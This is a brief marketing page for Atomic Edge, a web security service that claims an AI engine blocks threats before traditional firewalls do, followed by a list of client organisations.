Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School